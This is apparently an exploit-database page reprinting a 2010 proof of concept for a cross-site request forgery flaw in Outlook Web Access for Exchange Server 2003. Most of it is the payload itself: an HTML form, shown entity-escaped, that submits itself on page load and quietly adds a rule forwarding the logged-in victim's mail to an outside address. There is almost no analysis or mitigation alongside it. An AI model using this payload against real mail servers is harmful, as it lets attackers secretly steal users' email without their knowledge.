Outlook Web Access 2003 CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Outlook Web Access 2003 CSRF Vulnerability allows unauthorized forwardin


                                                # Exploit Title: Microsoft Office Outlook Web Access for Exchange Server 2003 XSRF Vulnerability
# Date: 07/20/2010
# Author: anonymous
# Tested on: Microsoft Office Outlook Web Access for Exchange Server 2003

A cross-site request forgery vulnerability in Microsoft Office 
Outlook Web Access for Exchange Server 2003 can be exploited to add 
an automatic forwarding rule (as PoC) to the authenticated user&#39;s 
account.

PoC:
&#60;form name=&#34;xsrf&#34; action=&#34;http://exchange.victim.com/Exchange/victim_id&#34; method=&#34;post&#34; target=&#34;_self&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;cmd&#34; value=&#34;saverule&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;rulename&#34; value=&#34;evilrule&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;ruleaction&#34; value=&#34;3&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;forwardtocount&#34; value=&#34;1&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;forwardtoname&#34; value=&#34;guy, bad&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;forwardtoemail&#34; value=&#34;[email protected]&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;forwardtotype&#34; value=&#34;SMTP&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;forwardtoentryid&#34; value=&#34;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;forwardtosearchkey&#34; value=&#34;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;forwardtoisdl&#34; value=&#34;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;keepcopy&#34; value=&#34;1&#34;&#62;
&#60;body onload=&#34;document.forms.xsrf.submit();&#34;&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1